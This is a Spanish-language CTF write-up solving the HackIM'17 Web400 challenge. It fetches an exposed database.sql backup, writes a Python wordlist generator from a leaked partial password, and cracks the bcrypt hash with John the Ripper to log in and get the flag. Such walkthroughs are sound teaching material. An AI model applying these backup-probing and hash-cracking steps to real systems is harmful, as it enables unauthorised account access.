Solución del reto HackIM’17 - Web400 del Nullcon CTF 2017 por Alguien y @h4ng3r.

Descripción

descripción

Análisis

El reto nos presenta un formulario de login y nos dice que obtendremos el flag tras iniciar sesión en él. Y no hay más, a darle…

Solución

Al revisar el código fuente de la web observamos un curioso comentario HTML:

<!-- The partial password is: kztu6fe1m68mwf7vl1g3grjzmocia043pmno83q3ati98c8r324dzc0hc7n41p6tdjg6p -->
<!-- sql file exported and backed up -->

Esto nos sugiere que hay un backup de la base de datos escondido por ahí. Tras pedir algunos ficheros como db.sql o backup.sql dimos con el correcto: database.sql

curl http://54.152.19.210/web400/database.sql

El contenido del backup era:

--
-- Database: `hackimweb400`
--
CREATE DATABASE IF NOT EXISTS `hackimweb400` DEFAULT CHARACTER SET latin1 COLLATE latin1_swedish_ci;
USE `hackimweb400`;

-- --------------------------------------------------------


--
-- Table structure for table `users`
--

DROP TABLE IF EXISTS `users`;
CREATE TABLE IF NOT EXISTS `users` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `username` varchar(200) NOT NULL,
  `password_bcrypt` varchar(80) NOT NULL,
  `fname` varchar(30) NOT NULL,
  `description` varchar(200) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB  DEFAULT CHARSET=latin1 AUTO_INCREMENT=66 ;

--
-- Dumping data for table `users`
--

INSERT INTO `users` (`id`, `username`, `password_bcrypt`, `fname`, `description`) VALUES (1, 'jaffa', '$2y$10$FalJ8SmqTDBv7Fr366RC9uW5hKJVZijsDqzgASh1kSGMsUFMMLGZq', 'hackim', 'Hash cracking is futile!');

Observamos un único registro en la tabla users. La contraseña del usuario jaffa está hasheada con BCrypt. Debemos crackearla y para esto nos vale nuevamente el comentario HTML que descubrimos al inicio.

<!-- The partial password is: kztu6fe1m68mwf7vl1g3grjzmocia043pmno83q3ati98c8r324dzc0hc7n41p6tdjg6p -->

Nos dan una parte de la contraseña y por lo visto no la vamos a encontrar en ninguna base de datos online o diccionario. Nos toca crear nuestro propio diccionario usando la contraseña parcial como prefijo y/o sufijo. Para ello escribimos un sencillo script en Python:

v = "0123456789abcdefghijklmnopqrstuvwxyz"
p = "kztu6fe1m68mwf7vl1g3grjzmocia043pmno83q3ati98c8r324dzc0hc7n41p6tdjg6p"

def imprimir(n, s):
    for c in v:
        print s + c
        print c + s
        if n > 0:
            imprimir(n - 1, s + c)
            imprimir(n - 1, c + s)

imprimir(2, p)

El script considera que el juego de carcteres es el mismo que el de la clave parcial (letras minusculas y números). Lo ejecutamos así:

python gen.py > dict.txt

Y luego usamos John The Ripper para crackear el hash:

echo '$2y$10$FalJ8SmqTDBv7Fr366RC9uW5hKJVZijsDqzgASh1kSGMsUFMMLGZq' > hash.txt

john --fork=8 --wordlist=dict.txt --format=bcrypt hash.txt

Varios minutos y una siesta más tarde…

john --show hash.txt
?:kztu6fe1m68mwf7vl1g3grjzmocia043pmno83q3ati98c8r324dzc0hc7n41p6tdjg6p7ld

Por último iniciamos sesión con el usuario jaffa y la clave kztu6fe1m68mwf7vl1g3grjzmocia043pmno83q3ati98c8r324dzc0hc7n41p6tdjg6p7ld para obtener el flag:

flag

El flag es: flag{b7ebfe2a47f711a7b2b5bff057600a2c}